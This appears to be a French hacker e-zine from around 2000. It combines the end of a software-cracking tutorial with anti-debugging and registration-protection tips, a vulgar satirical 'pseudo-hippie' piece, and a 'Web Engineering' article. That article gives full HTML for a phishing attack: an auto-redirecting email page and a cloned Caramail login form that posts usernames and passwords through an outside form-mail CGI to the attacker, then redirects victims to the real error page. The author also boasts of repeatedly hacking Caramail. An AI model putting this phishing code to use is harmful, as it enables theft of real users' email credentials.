  COMMAND      7 536    (7K)      7 536    (7K)          0    (0K)
  --------        80    (0K)         80    (0K)          0    (0K)
  LIBRE      524 592  (512K)    524 592  (512K)          0    (0K)

Rsum mmoire :

  Type de mmoire     Totale        Utilise       Libre
  ----------------  -----------   -----------   -----------
  Conventionnelle       651 264       126 672       524 592
  Suprieure                  0             0             0
  Rserve                    0             0             0
  tendue (XMS)      65 994 752     2 002 944    63 991 808
  ----------------  -----------   -----------   -----------
  Mmoire totale     66 646 016     2 129 616    64 516 400

  Total infrieur       651 264       126 672       524 592

  Totale Pagine (EMS)                        64 700 416    (62M)
  Mmoire libre pagine (EMS)                 16 777 216    (16M)
  Taille maximale du programme excutable        524 576   (512K)
  Taille max. de la mmoire suprieure libre           0     (0K)
  MS-DOS rside en mmoire haute (HMA).


------------------------------------------------------------------------------



Okie, donc la dans la liste des noms on voit bien le petit: WINICE.
Cela veut bien dire que soft ice est charg en memoire non ?:)


La maneuvre pour detecter soft ice c'est d'executer MEM mais d'envoyer le resultat dans un
ficher..
Comme tout les utilisateurs de DOS le savent , on peut faire ca de la maniere suivante:
fichier.exe ou com >fichier.txt

Donc ici cela donne par exemple:  MEM /C>c:\windows\system\detect.txt

Donc , cette commande ecrira le resultat de la commande "MEM /C" dans le fichier "detect.txt"
lui meme plac dans le repertoire windows\system (c'est quand meme moin flague que la racine
du disque dur non ? )
si la commande vous donne un erreur 2 ou 4 il faut crer un fichier bat et ensuite l'executer..
Bon ca c'est tres simple...

Ensuite vous avez plus qu'a effectuer une recherche dans le fichier "detect.txt" et cherchez le
mot "WINICE" dedans..
Si le mot est presant alors soft ice est charge!!! on ferme le programme.
Sinon soft ice est pas la , donc on lance notre application...

Vous avez plus qu'a automatiser ces taches et vous avez une detection de soft ice qui n'est pas
encore reconnu a ce jour ;)


####################################################

3) Utiliser un algo beaucoup plus puissant!

####################################################


Bon comme vous l'avez vu , l'algo de ce programme est vraiment faible...
Ce qui peut etre interressant c'est d'ecrire un algorithme qui sois ireversable...
Comme le DES, MD5...
Je m'explique, pour cracker l'algo je l'ai tout simplement renverser c'est a dire que a la
place des additons , j'ai mis des soustractions...
Il faut utiliser des operateurs qui ne sois pas renversable, ou sinon une suite d'operateur qui
fasse que l'on ne puisse pas retrouver la chaine non crypte de depart a partir du resultat
obtenu (resultat crypte).
Le programme pour verifiez si le code est bon n'a qu'a crypter ce que l'on entre et comparer
avec la constante crypte dans le programme.Si les deux sont identiques le CODE est bon sinon
perdu...
Ce qui est chiant c'est que celon l'algo different CODE entr peuvent avoir le meme resultat
crypt donc on doit rajouter des controles sur la longueur du CODE , la somme des valeurs
ascii..


Ca sert a quoi me direz vous ?

Ben tout simplement que la seule facon de casser ce code est de coder un brute forcer pour
essayer toute les possibilites jusqu'a trouver le bon CODE...
C'est Tres long !!
Deja, il faut reprogrammer le crypteur dans un language rapide : Assembleur ou c++ ( l'asm
est bcp plus rapide que le C++)
et de mettre une fonction qui essai tout les chiffres , caracteres ...
On n'a plus qu'a laisser tourner lol :=)
Bon , si c'est mal implementer on peut cracker ca plus rapidement..

je rappel que les XOR sont renversables:

X xor X = 0
A xor B = C
A xor C = B
B xor C = A


L'utilisatisation des puissances et des modulos est tres interressants dans ce type de cryptage.

Sinon , on peut faire un algo qui calcul un CODE en fonction de la chaine entre et verifie si
le Code est bon en comparant le CODE obtenu par le calcul avec la CODE du bon mot de passe...
Cette fois si, ce n'est pas vraiment du cryptage mais juste des calculs...
Je vous conseil de faire un algo long est penible pour le cracker...
Plus il y a d'operations dans l'algo et plus le temps qu'il faudra pour deplomber le protection
est long.
J'ai ecris une protection en Delphi qui a ce jour n'est toujours pas cracker..

ACiD BuRN's Challenge.

L'algo est tres complique , fait plus d'une centaine de ligne en Delphi donc enormement plus
en Assembleur..
Meme avec les sources , je suis incapable de le cracker :-p
hehe, donc voila tout est dis.
Voici a quoi ressemble mon algo : (je met juste 2 lignes de l'algo , il en contient 100 du meme
style lol)

------------------------------------------------------------------------------------------

b:=b+c*a*345 xor (3423483+(a*242564 mod c));
key6:=copy(inttostr(abs(strtoint(key6) xor z2 shl strtoint(key2))),length(key6)-4,3);
..............

------------------------------------------------------------------------------------------

C'est pas une seule addition donc :) hehehe...

Sinon , l'auteur peut obter pour un code qui depend du nom de la personne..
La aussi il faut faire gaffe a l'algo.
Deja faire un code qui depends du numero du disque dur est une bonne ide hehe.
Faire que le programme vous donne une valeur calcul en fonction du disque dur du mec.
Celui qui desire s'enregistrer donne ce numero, et son nom ( ou pseudo).
La avec un programme a part , vous generez le code valide pour ces informations et les renvoyes
au mec!
Il ne poura pas donner son code a ses amis car le numero depend du disque dur hehe ;)
L'algo ne doit en aucun cas faire moins de 10 lignes , a part si c'est une sorte de cryptage
compliqu..

Pour exemple , la derniere protection que j'ai ecrite en C++ avec assembleur inline fait 1400
lignes d'assembleur...
Avec des Matrices....
Il ne faut pas avoir peur de coder :)
Il faut aussi eviter que le code valide soit comparer directement avec le code entr par la
personne car c'est trop facile a cracker ca :-p
Un peu de maths et de cryptage devrait arranger l'affaire :)


####################################################

		13 conseils en vrac

####################################################




1) Ne jamais utiliser de fichiers avec des noms qui veulent tout dire comme :
CodeEnregistrement.txt ou meme des procedures avec des noms comme : BonCodeOuMauvaisCodeVerif

2) Attendre un peu avant de dire a l'utilisateur qu'une violation de son programme a t
faite...

3) Utiliser des checksums ou CRC dans les executables et Dll... ( ou tout autre fichiers
sensibles)

4) Faire des pauses d'une ou deux secondes apres que le code est t entr pour eviter le
brute forcing directement par le programme lui meme ( modifi par le cracker)

5) Enregistrez les numeros de serie dans des places non communes ( pas dans le fichier INI ,
ou dans la base de registre)

6) Enregisrez les numeros de serie a plusieurs endroit different.

8) Controlez les numeros de serie a different endroit du programme et aleatoirement dans un
des endroits ou il est plac.

9) Utilisez des anti debuggeurs , sans avertir l'utilisateur que vous avez detect quelque
chose et fermez tout au bout de quelques secondes apres le chargement.. (c'est contre les
petits crackers ca.)

10) Utilisez des chaines de caracteres qui ne servent a rien mais avec des noms qui sont
allechant:

    "le numero de serie incorrecte"
    "Merci de votre soutiens"
    "Vous etes desormais Enregistr"

    Placez ce genre de phrases dans une variable de type string et n'y touchez plus , ces
phrases seront visibles au cracker si il desassemble l'executable et se croira en presence de
choses importantes alors que se ne sont que des Leures! lol

11) Flooder le cracker avec des fausses procedures de cryptage qui sont des leures..

12) faites references a des fichiers manquant qui ne servent a rien : Licence.key.
    Faites des operations sur ce fichier , mais qui n'amenent a rien dans l'enregistrement de
    l'application le cracker se croira en presence d'un keyfile.

13) Crypter vos executables avec un bon packer pour eviter le simple patching mais cela
    n'empeche pas le Loader patcher...
    Evitez les vielles versions de Aspack , UPX ( toutes versions) , Petite , PEcrypt ..


Je pourais vous donnez des centaines de conseils mais ceux la sont assez importants et
eviteront que vous vous fassiez cracker par pal mal de crackers debutant ou pas assez "bons"..


Voila ce cours arrive a sa fin et j'espere que vous l'avez appreci autant que moi ...



IV)Conclusion:


Ce cour a t ecris en partie pour faire de la prevention au niveau protection et montrer
comme il est simple de deproteger la plus part des programmes..
J'espere que l'auteur ne prendra pas mal ce cour , qui n'a pas ete ecris pour lui faire du
tord.
Je respecte Belinux car son programme Devil's Sword est tout simplement genial et bien
programm.
Pour expliquer pourquoi j'ai choisi ce programme , je vais donner ce que l'on peut voir dans
les Greetings de l'application:



-/-/-/-/-/-/-/-/-/--/-/-/-/-/-/-/-/-/-/-/-/-/-/-/--/-/-/-/-/-/-/-
 
Je vais dire quelque chose au sujet des hacks dont Caramail
fait l'objet. Les Trues Admins font parties du groupe de 
personnes que je trouve vraiment dnues de toute forme
que ce soit d'intelligence. Car monopoliser aussi longtemps
un accs non autoris, je n'appelle pas a des hackers et
encore moins des pirates informatiques, au contraire, moi
j'appelle a des idiots qui ne rflchissent pas plus loin que
leur bout de leur nez, hors un "vrai" hackeur de ragit pas
comme a! Lui, il fait preuve de philosophie !
Au lieu de hacker, essayez de faire mieux que Caramail,
proposez des solutions actives, au lieu d'emmerder tout 
le monde ! 
 
Sign : Belinux :-(((( 
 
-/-/-/-/-/-/-/-/-/--/-/-/-/-/-/-/-/-/-/-/-/-/-/-/--/-/-/-/-/-/-/-




je retiendrez ce message la :

"proposez des solutions actives, au lieu d'emmerder tout le monde ! "

Ce cour n'est il pas une solution active au probleme de securite que contient ce logiciel ?
je pense que si , c'est pour cela que je l'ai ecris...
De plus je fais partie des trues Admins, je suis le premier qui ai hack caramail.
Je n'ai jamais donn une seule info a mes collegues pour eviter les emmerdes.
et j'ai toujours donn les failles a l'equipe de caramail pour qu'elle les bouches...
J'ai ecris un cour sur mon premier hack afin de montrer les choses a ne pas faire a ce sujet la.
J'ai hack carmail 9 fois, en utilisant une methode similaire a partir du hack numero 2.
J'ai avertis caramail qui corrige comme ils peuvent ces failles , mais c'est toujours la meme
technique qui marche donc je n'ai pas ecris de cours a ce sujet...
D'ailleur cette technique permet de hacker pas mal de site qui donnent des services Mails.
J'ai aussi donn des failles pour planter les salons que personne n'a jamais connu.
(c'etait en Janvier, c'etait donc pas la faille du caractere "13")
Je respecte caramail et leur travail et suis tout a fait d'accord avec Belinux sur le fait
d'emmerder tout le monde.
La seule chose que j'ai tap dans l'onglet infos c'etait : Vives les failles , hacked by ACiD
BuRN et des jolies POEMES pour ma copine.

Je n'ai jamais parl dans l'onglet pendant des heures comme certains le font actuellement.
Ils ont enfin compris ce que je faisait il y a deja 6 mois.
Ils sont longs a la detente on dirait ... 3 jours pour moi , 6 mois pour eux...
Enfin bon, je vais arreter la...


Signed, 


						ACiD BuRN [ECLiPSE / Immortal Descendants]



PS: Putain !! le cour fait plus de 1480 lignes lol!! je suis DINGUE :-)

Sites WEB:

le mien : http://www.AcidBurn2K.cjb.net
celui d'un de mes groupes: http://www.ImmortalDescendants.org 
(un groupe de reverse Engineers Americains pas comme les groupes de tapettes sur caramail...)

Mon mail: Acid2600@hotmail.com


Greetings to:


       Cline: La plus belle , la plus douce , MA femme a moi ;) cours dedicac a toi cherie
      Belinux: Merci pour ce super client , tres bien programm :-)
        Gloom: D'apres ce que j'ai vu , tu y as boss dessus donc tu as droit au merci ;)
     Sigma_me: Tres sympa et super moderatrice ;-)
Darius.Darius: Arf :) mo j'ai arrt de jouer sur caramail, et to ?  lol
    Julien813: Arretes de tout decrypter lol
  Sylvain.pop: Toi aussi :-p
     Caramail: Super chat vraiment :)
 
Le salon Informatique sur caramail et un BIG FUCK a quasi totalit du salon hacker qui est
remplis de sous merde...


Greetings to all my friends on IRC: #Cracking4newbies (English friends) , #ECLIPSE99 ...

Wait guys 'til i got a goddamn Free connections and i'm gonna idle like before :)




			Mess with the Best , Die like the Rest...




											-)-[ tHE ANALYST ]-(-
											^^^^^^^^^^^^^^^^^^^^^^^ 






		                              #  
		                  #          ###           #
		                  ##         ###          ##       
		                   ####     #####        ###
		                   #####    #####      ####
		                    ######  #####    ######
		                     ###### #####  #######
		            ####      ###################    ####  
		              ################################# 
		                 ##########################
		                     ##################   
		                  #########################   
		                        ##############  
		                              ## 
		                              ## 






	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	

	                          MANUEL DU PSEUDO-HIPPIE

	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	  



 
Tu vois moi je dis la socit p bien il faut revenir  la nature, il faut devenir un hippie.
mais tu vois devenir un hippie c' est rserv qu' aux rebelles, pas aux bourges ni  ceux qui
sont pas beaux. Tu dois respecter trois critres pour tre un vrai faux hippie:

-avoir l' air pauvre
-fumer du teuch
-et t' habiller avec des vtements moches de chez Camaeu.

Bon si t' as compris a t' es sur la bonne voie! Tu peux devenir un vrai faux hippie.

 

A new way of thinking
*********************

D' abord il faut que tu saches qu' tre un hippie c' est pas se la peter sur l' apparence.
Il faut penser differemment mais pas trop non plus sinon t' es pas dans le coup. D' abord,
leon N1: apprend  ragir differemment face  une situation imprvue:

"Aujourd' hui, les momes, contrle surprise! Vous allez tous avoir -5 sur 20 parce que je me
suis dmmerd pour que vous ne puissiez pas rpondre aux questions."

Comment pense un blaireau comme Freirahk: "putain ce devoir je vais le russir et aprs il va
me sucer jusqu'  ce que a lui ressorte par l' anus et l on verra qui encule qui avec ce
putain de devoir de lamahs!"

Comment k' il faut penser: "Don' t worry, be happy...."

"T' es trop con. J' aime pas ta tte et en plus t' es pas comme nous, t' es pas dans la mode
et t' es maigre, tu crains."

Comment pense un blaireau comme Freirahk: "je te dchire pas la gueule parce que je suis pas
costaud, mais attend que je retourne tout le monde contre toi sale fils de pute!"

Comment k' il faut penser: "Je me fiche de ce qu' on pense de moi. J' ai qu'  dire a comme
a, a justifie le fait que je m' crase..."

"C' est pas un peu chiant d' avoir des parents chomeurs?"

Comment pense un blaireau comme Freirahk: "et toi, a te fait pas chier d' avoir des parents
incultes?"

Comment k' il faut penser: "Je suis pas pauvre, je fais semblant d' tre pauvre!"

"Tu veux pas faire partie de mon groupe de Ska-Dub-Reggae-pop-punk-rock-fusion?"

Comment pense un blaireau comme Freirahk: "un nime groupe de jeunes ados pseudo
rvolutionnaires qui esprent avoir l' air cool avec un micro? Va te jeter!"

Comment k' il faut penser: "Cool! C' est l' occasion de montrer  tous comme je peux jouer
le super anarchiste"

Bon, et si t' as compris a, comme je le disai plus haut, t' es sur la bonne voie...

 

You talkin t' me?
*****************

Ah, j' oubliais une phase cruciale du processus: parler le "hippie". Si tu veux tre cool et
devenir hippie en chef, tu dois parler la langue des hippies: Par exemple pour dire "salut, a
va?" tu dis "a pte?". Ou alors pour dire je vais fumer" tu dis "je vais me droguer" (comme
a t' as vraiment l' air d' un rebut de la socit!). Tu dois aussi avoir des phrases toute
prtes pour pas trop te casser le cul  faire ta propre philosophie. Pioche parmi ces phrases
pour avoir l' air cool:

-la nature tu vois, si tu la respectes, elle te respecte (et l tu fumes ton "oinj")

-reste cool, arrte de psychoter

-te prends pas la tte, sois cool, man

-tu rflchis trop, fume!

-legalise it!

-je fume et je suis fier de fumer! J' ai pas honte de le dire hein, moi ' assume. C' est pas
facile mais on doit se comporter en individus responsables

-qui dit "Buzz"?

-qui veut que je lui roule une clope?

-je reviens, il faut que j' aille acheter la drogue

-no fachos!!!!!

-Bob marley prsident

-fume, c' est l' anarchie!!!!!

-hein? oh excuse moi j' ai niqu et fum toute la nuit je suis un peu gach tu vois...

Bon il y a d' autres expressions mais l c' est les plus puissantes tu vois. Ah oui, aprs
chaque phrase, tu dois rajouter "tu vois". Par exemple "c' est le dernier Pink Floyd, tu vois",
"les cours a craint, tu vois.." ou "J' aime pas Gilbert Montagn tu vois....".

 

Rejet de toute forme d' autorit
********************************

Il est important pour tre un hippie de rejeter tous les symboles d' autorit. Ne respecte pas
la loi, ne fais pas tes devoirs, et si tu peux, dchires quelques pages de ton agenda pour
avoir l' air d' un vrai rebelle qui se fout de tout. Bon imagine que tu te retrouves devant un
passage pieton tu fais quoi? Tu passes au feu rouge! Ou alors tu fumes et tu t' envoles et
tout.... Si ta mre te dit d' aller lui chercher des mdicaments, ben t' es pas fou, tu la
laisses crever en criant "anarchie". Et aussi quand tu peux, essaie d' crire "fuck" sur les
tables du lyce. Grace  toi on va peut tre connatre la rvolution!!!

Mais il faut aussi que tu rejtes de faon non violente ceux qui sont violents. Par exemple si
quelqu' un s' amne en disant "j' en ai marre de me faire tabasser par ces sales frimeurs, il
faut se dfendre!!" Ben l tu dois rpondre: "reste cool man, la violence ne rsout rien..."
ou une connerie de ce genre. Si un autre gars s' amne et dit "putain on a pas cass assez de
fachos durant la guerre d' espagne" ben l faut que tu rpondes "calme toi mec, soi non violent!
(y avait une guerre en Espagne?! Je avais pas!)". Pareil si un bouffon s' amne et dit que 
parfois il faut faire des tudes pour faire imploser le systme, ben fais lui comprendre
qu' il a tort: "tu comprends pas, tu vois..... Les tudes a sert  rien."

Courage, encore une tape  franchir et tu seras un hippie!

 

La tenue vestimentaire
**********************

C' est hyper supra important, il faut bien que tu montres que tu es pauvres (enfin,....que tu
aurais pu, quoi!) et que t' es oblig de porter des pulls dchirs parce que t' as pas de sous.
Donc il faudra que t' aies un max d' pingles  nourrices n' importe ou sur tes fringues, au
cas ou...on ne sait jamais..Plus elles sont grosses, mieux c' est. Pense aussi  t' en mettre
une dans l' oreille pour avoir l' air con pour de bon. C' est toujours a de gagn! 

Tes vtements tu dois les acheter  Camaeu car eux ils commencent  capter la mode et donc tu
devrais trouver des pantalons minables si t'es une fille, ou des baggy 700 FF chez Quiksilver
si t'es un gars. C'est hyper important de s' habiller comme a, sinon tu peux pas faire partie
de l' ADFSF (Association Des Fumeurs de Shit Franais).

Aprs il va falloir que tu arranges tes vtements en fonction de ton "style". Si t'es un 
skateur, dchire lgrement le pantalon  des endroits stratgiques: les genoux (pour montrer
que tu te ramasses donc tu skates) et au cul (pour montrer que tu te fais enculer donc tu
suces). Si t'es autre chose qu' un skateur (un fumeur tout simplement), il faudra que tu
dchires ton tee shirt (si possible un tee shirt  150 balles) et que tu racontes une anecdote
  son sujet: "oui tu vois c' est parce qu' un jour il y a eu une pluie acide et mes fringues
elles ont tout pris". Parce que si tu dis pas a on va croire que t' es encore un de ces sales
pseudo hippies!

 






										=><(- Der Freirahk -)><=
										^^^^^^^^^^^^^^^^^^^^^^^^



		                              #  
		                  #          ###           #
		                  ##         ###          ##       
		                   ####     #####        ###
		                   #####    #####      ####
		                    ######  #####    ######
		                     ###### #####  #######
		            ####      ###################    ####  
		              ################################# 
		                 ##########################
		                     ##################   
		                  #########################   
		                        ##############  
		                              ## 
		                              ## 









	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	

	                                WEB ENGINEERING

	
	- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
	



	Un jour, je dcouvre qu'un mec envoi au abonns de Hotmail un E-mail en html qui leur
fait croire qu'ils ont t dconnects  cause de je ne sais plus quelle raison.

	Quand la personne qui avait reu le mail remplissait les champs: pseudo et mot de passe
a envoyait le information sur un scripte cgi (script cgi= c'est un mini programme le plus
souvent crit en perl).

	Ce script envoyait ces mmes infos  une adresse E-mail mais sans passer par une
messagerie.

	Je pense que vous avez tout un jour entendu parler du truc ou il faut remplacer le truc
de cara par mailto:votrepseudo@votreserveur.com  ben c'est bien joli mais sa sert  rien :
a ouvre Outlook (ou la messagerie par dfaut du mec) mais le plus con des internautes vas se
douter de qqch.

	Alors je me dit ben click droite sur la page de cara on remplac la partie action par le
truc qui envoie sur le cgi. Mais faut croire que cara y avait penser ou n'est pas assez
perfectionner pour envoyer un message comme celui la en html. Alors comme j'avais dj lu un
livre sur le html je me suis dit ben on vas pas se laisser baiser comme a.

	Alors j'ai fais quoi? ben j'ai repris ma fausse page cara j'ai ouvert un site chez
citeweb.net et je l'ai hberger.

	Mais le problme c'tait comment envoyer le mec de chez cara dessus .

	Vous avez dj tous vue ces site: nous avons changer d'adresse vous aller tre
rediriger dessus dans 10sec .

	Ben j'ai fais la mme chose mais pas dans 10sec ,tout de suite  le mec ouvre le mail sa
le redirige sur ma page hberger chez citeweb.net il crois que cara a planter (un peu comme
d'habitude) il remplie les champs et voil tout arrive chez moi par mail. Mais la un 2eme 
problme chez le mec aprs avoir remplie la page a fait rien .

	Il vas se douter de qqch c'est l que j'utilise un de nombreuse option de se merveilleux
langage qu'est le html.

	L'option "redirige" comme son nom l'indique a le redirige sur une autre page et la
je mais la valeur de la page qui s'affiche quand on se trompe de mot de passe chez cara le mec
crois qu'il a fait une faute de frappe il retape et la il entre normalement chez cara et moi
j'ai son mot de passe.


Voil les deux source html.


La 1er celle qui vous redirige sur la fausse page cara.


<HTML>
<HEAD>
   <TITLE>1</TITLE>
   <META NAME=GENERATOR CONTENT="">
   <X-CLARIS-WINDOW TOP=52 BOTTOM=607 LEFT=8 RIGHT=538>
   <X-CLARIS-TAGVIEW MODE=minimal>
</HEAD>
<BODY TEXT="#000099" BGCOLOR="#CCCCCC" onload="document.capabilities.submit();">
<P><BR>
<BR>
<HEAD><BR>
<TITLE></TITLE><BR>
<X-CLARIS-WINDOW TOP=0 BOTTOM=607 LEFT=0 RIGHT=1012><BR>
<X-CLARIS-TAGVIEW MODE=minimal><BR>
<ME*TA content="text/html; charset=windows-1252" http-equiv=Content-Type><ME*TA <BR>
<BR>
<SCR*IPT language=JavaSCR*IPT><!--<BR>window.onerror = ignore;<P>function ignore()<BR>{<BR>}
<P>function testMimeTypes()<BR>{<P>}<P>function testCookie()<BR>{<BR>document.cookie="test=ok";
<BR>if(document.cookie.length>0 && document.cookie.indexOf("test=ok")>-1)<BR>
{<BR>document.capabilities.cookieenabled.value="true";<BR>return;<BR>}<BR>}<P>// -->
</SCR*IPT><BR>
</HEAD><BR>
<BR>
caraunix erreur.</P>

<P>Please wait... <FORM ACTION="http://www.hebergeur.com/pseudo/faussepagecara.html"
METHOD=POST name=capabilities>
   <P><BR>
   </P>
   
   <P><INPUT TYPE=hidden NAME=sessionkey VALUE=958506056832><BR>
   <INPUT TYPE=hidden NAME=command VALUE=scanbrowser><BR>
   <INPUT TYPE=hidden NAME=jsversion VALUE="1.0"><BR>
   <INPUT TYPE=hidden NAME=javaenabled VALUE=true><BR>
   <INPUT TYPE=hidden NAME=mimetypes VALUE=VALEUR><BR>
   <INPUT TYPE=hidden NAME=plugins VALUE=VALEUR><BR>
   <INPUT TYPE=hidden NAME=cookieenabled VALUE=false><BR>
   <INPUT TYPE=hidden NAME=hastoolbar VALUE=true><BR>
   <INPUT TYPE=hidden NAME=clientip VALUE=VALEUR><BR>
   <INPUT TYPE=hidden NAME=clientname VALUE=VALEUR><BR>

</FORM> <SCR*IPT LANGUAGE="JavaSCR*IPT1.1"><!--<BR>document.capabilities.jsversion.value="1.1";
<BR>// --></SCR*IPT>
<SCR*IPT LANGUAGE="JavaSCR*IPT1.2"><!--<BR>document.capabilities.jsversion.value="1.2";
<P>// --></SCR*IPT>
<SCR*IPT LANGUAGE=JavaSCR*IPT><!--<BR>testMimeTypes();<BR>testCookie();<P>// --></SCR*IPT></P>

<P><BR>
</P>
</BODY>
</HTML>


la 2me la fausse page caramail.com


<HTML>
<!--This file created 20:45  19.06.00 by Claris Home Page version 3.0This file created 20:46 
19.06.00 by Claris Home Page version 3.0This file created 20:49  19.06.00 by Claris Home Page
version 3.0-->
<!--This file created 17:01  22.06.00 by Claris Home Page version 3.0-->
<HEAD>
   <TITLE>Caramail</TITLE>
   <META NAME=GENERATOR CONTENT="Claris Home Page 3.0">
   <X-CLARIS-WINDOW TOP=52 BOTTOM=607 LEFT=8 RIGHT=538>
   <X-CLARIS-TAGVIEW MODE=minimal>
<SCRIPT language=Javascript><!--
function OpenWin() {
	window.open('loi.asp', 'Aide','width=400,height=220,resizable=no,scrollbars=no,status=no')
}
//--></SCRIPT><script LANGUAGE="JavaScript">document.Ident.LOGIN1.focus();

var zz;

x = new Date();
if (x.getYear()< 1000)
	document.Ident.TZ.value = x.getYear() + 1900;
else
	document.Ident.TZ.value = x.getYear();
zz = '00' + (x.getMonth() + 1);
document.Ident.TZ.value += zz.substring(zz.length - 2, zz.length);
zz = '00' + x.getDate();
document.Ident.TZ.value += zz.substring(zz.length - 2, zz.length);
zz = '00' + x.getHours();
document.Ident.TZ.value += zz.substring(zz.length - 2, zz.length);
zz = '00' + x.getMinutes();
document.Ident.TZ.value += zz.substring(zz.length - 2, zz.length);</script>
</HEAD>
<BODY BGCOLOR="#FFFFFF" LINK="#000000" VLINK="#000000">
<CENTER><TABLE BORDER=0 BGCOLOR="#F0E8CC" CELLSPACING=0 CELLPADDING=0>
   <TR>
      <TD ALIGN=center WIDTH=134 BGCOLOR="#CCCCFF">
         <P><IMG SRC="http://imgsrv.caramail.com/images/caramail.gif" WIDTH=112 HEIGHT=51
ALIGN=bottom></P>
      </TD>
      <TD ALIGN=center COLSPAN=7 WIDTH=470 BGCOLOR="#FFFFFF">
         <P>
<A HREF="http://adclick.caramail.com/cgi-bin/redirect?TYPE=PUB&FROM=6&IDBANDEAU=
ANG01&TARGET=www.annoncesgratuites.com" TARGET="_blank">
<IMG SRC="http://ad.caramail.com/pub/ANG01.gif" WIDTH=468 HEIGHT=60 BORDER=0 ALIGN=bottom>
</A><IMG SRC="http://195.25.89.17/caramail_v?total" WIDTH=1 HEIGHT=1 BORDER=0 ALIGN=bottom>
<SCRIPT LANGUAGE=""><!-- 
tps = new Date(); 
if (tps.getSeconds() < 4) {
document.write("<IMG SRC=\"http://195.25.89.18/caramail_p?" + tps.getMinutes() + "0" +
 tps.getSeconds() + "_accueil" + "\" WIDTH=\"1\" HEIGHT=\"1\">");} 
// --></SCRIPT><NOSCRIPT></P>
         
         <P>
<IMG SRC="http://195.25.89.18/caramail_p?noscript_accueil" WIDTH=1 HEIGHT=1 ALIGN=bottom></P>
         
         <P></NOSCRIPT></P>
      </TD>
   </TR><FORM ACTION="http://www.lecgi.net/public/form_mail.cgi" METHOD=POST>
                     <P>
<INPUT TYPE=hidden NAME=destinataire VALUE="votrepseudo@votrehebergeur.com">
                     <INPUT TYPE=hidden NAME=sujet VALUE=passe caramail>
                <INPUT TYPE=hidden NAME=redirige
VALUE="http://www17.caramail.com/general.asp?N=7375&C=2493&ERROR=1">
   <TR BGCOLOR="#FFFFFF">
      <TD ALIGN=center VALIGN=bottom WIDTH=134 BGCOLOR="#CCCCFF">
         <P>&nbsp;</P>
      </TD>
      <TD VALIGN=bottom WIDTH=76>
         <P><IMG SRC="http://imgsrv.caramail.com/images/vide.gif" WIDTH=76 HEIGHT=1
ALIGN=bottom></P>
      </TD>
      <TD VALIGN=bottom WIDTH=72>
         <P><IMG SRC="http://imgsrv.caramail.com/images/vide.gif" WIDTH=72 HEIGHT=1
ALIGN=bottom></P>
      </TD>
      <TD VALIGN=bottom WIDTH=40>
         <P><IMG SRC="http://imgsrv.caramail.com/images/vide.gif" WIDTH=40 HEIGHT=1
ALIGN=bottom></P>
      </TD>
      <TD VALIGN=bottom WIDTH=58>
         <P><IMG SRC="http://imgsrv.caramail.com/images/vide.gif" WIDTH=58 HEIGHT=1
ALIGN=bottom></P>
      </TD>
      <TD VALIGN=bottom WIDTH=22>
         <P><IMG SRC="http://imgsrv.caramail.com/images/vide.gif" WIDTH=22 HEIGHT=1
ALIGN=bottom></P>
      </TD>
      <TD VALIGN=bottom WIDTH=50>
         <P><IMG SRC="http://imgsrv.caramail.com/images/vide.gif" WIDTH=50 HEIGHT=1
ALIGN=bottom></P>
      </TD>
      <TD VALIGN=bottom WIDTH=152>
         <P><IMG SRC="http://imgsrv.caramail.com/images/vide.gif" WIDTH=151 HEIGHT=1
ALIGN=bottom></P>
      </TD>
   </TR>
   <TR>
      <TD ALIGN=center VALIGN=top ROWSPAN=2 WIDTH=134 BGCOLOR="#CCCCFF">
         <P>
<A HREF="http://adclick.caramail.com/cgi-bin/redirect?TYPE=PUB&FROM=32&IDBANDEAU=
BUY09&TARGET=www.buycentral.com/fr" TARGET="_blank">
<IMG SRC="http://ad.caramail.com/pub/BUY09.gif" WIDTH=100 HEIGHT=60 BORDER=0 ALIGN=bottom>
</A>&nbsp;</P>
      </TD>
      <TD VALIGN=bottom WIDTH=76 BGCOLOR="#FFFFFF">
         <P>&nbsp;</P>
      </TD>
      <TD VALIGN=bottom ROWSPAN=3 COLSPAN=2 WIDTH=112>
         <P><IMG SRC="http://imgsrv.caramail.com/images/cara1.gif" WIDTH=112 HEIGHT=136
ALIGN=bottom></P>
      </TD>
      <TD VALIGN=bottom COLSPAN=3 WIDTH=130>
         <P><IMG SRC="http://imgsrv.caramail.com/images/cara2.gif" WIDTH=130 HEIGHT=80
ALIGN=bottom></P>
      </TD>
      <TD ALIGN=center VALIGN=top WIDTH=152 BGCOLOR="#FFFFFF">
         <P><A HREF="http://adclick.caramail.com/cgi-bin/redirect?TYPE=
PUB&FROM=31&IDBANDEAU=RDC21&TARGET=www3.rueducommerce.fr/info/showdetl.cfm%3F%26Product_ID=
324956%26DID=6%26PartenaireID=1" TARGET="_blank">
<IMG SRC="http://ad.caramail.com/pub/RDC21.gif" WIDTH=100 HEIGHT=60 BORDER=0 ALIGN=bottom>
</A></P>
      </TD>
   </TR>
   <TR><TD VALIGN=bottom WIDTH=76 BGCOLOR="#FFFFFF">
         <P><IMG SRC="http://imgsrv.caramail.com/images/vide.gif"
WIDTH=76 HEIGHT=35 ALIGN=bottom></P>
      </TD>
      <TD ALIGN=center VALIGN=bottom ROWSPAN=2 COLSPAN=2 WIDTH=80>
         <P><FONT SIZE="-1"><INPUT TYPE=text NAME=LOGIN1 VALUE="" SIZE=8 MAXLENGTH=50><BR>
         <INPUT TYPE=password NAME=PASSWORD1 VALUE="" SIZE=8 MAXLENGTH=8></FONT></P>
      </TD>
      <TD VALIGN=bottom ROWSPAN=2 WIDTH=50>
         <P><IMG SRC="http://imgsrv.caramail.com/images/cara3.gif" WIDTH=50 HEIGHT=56
ALIGN=bottom></P>
      </TD>
      <TD ALIGN=center VALIGN=bottom ROWSPAN=2 WIDTH=152 BGCOLOR="#FFFFFF">
         <P><IMG SRC="http://imgsrv.caramail.com/images/droite.gif" WIDTH=152 HEIGHT=20
ALIGN=bottom></P>
      </TD>
   </TR>
   <TR>
      <TD VALIGN=bottom COLSPAN=2 WIDTH=210 BGCOLOR="#FFFFFF">
         <P><IMG SRC="http://imgsrv.caramail.com/images/hgauche.gif" WIDTH=210 HEIGHT=21
ALIGN=bottom></P>
      </TD>
   </TR>
   <TR>
      <TD ALIGN=center VALIGN=top WIDTH=134 BGCOLOR="#000040">
         <P><IMG SRC="http://imgsrv.caramail.com/images/bgauche.gif" WIDTH=134 HEIGHT=19
ALIGN=bottom></P>
      </TD>
